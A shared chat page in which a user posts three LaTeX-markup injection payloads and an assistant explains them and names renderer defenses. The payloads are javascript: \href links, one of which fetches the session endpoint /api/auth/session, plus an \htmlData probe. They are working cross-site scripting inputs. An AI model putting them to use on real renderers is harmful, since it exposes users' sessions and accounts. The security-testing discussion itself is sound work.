logoChat01.ai

$\href{javascript:alert(document.domain)}{CLICKXSS...

创建于：2026年10月26日

使用 GPT-5.6 回答 Chat01

问题

CLICKXSS\href{javascript:alert(document.domain)}{CLICKXSS}
CLICKLEAK\href{javascript:fetch('/api/auth/session').then(r=>r.text()).then(t=>alert(t))}{CLICKLEAK}
HIDDEN\htmlData{x=1}{HIDDEN}

思考

Worked for a couple of seconds

回答

Those strings are attempts to inject executable links / hidden HTML through a markup renderer.

  • \href{javascript:alert(document.domain)}{CLICKXSS} tries to create a javascript: link that executes code when clicked.
  • \href{javascript:fetch('/api/auth/session')...}{CLICKLEAK} tries to fetch the current session endpoint and expose its response via alert.
  • \htmlData{x=1}{HIDDEN} appears intended to exercise an HTML/metadata escape hatch or hidden DOM attribute mechanism.

I’m treating all three as inert text here and not executing or rendering them as active links or HTML.

If you’re testing a Markdown/LaTeX renderer, the key defenses are to reject dangerous URL schemes such as javascript:, avoid emitting arbitrary HTML from math commands, sanitize generated DOM, and preferably allowlist safe schemes like https:, http:, and mailto:.

分享这个问答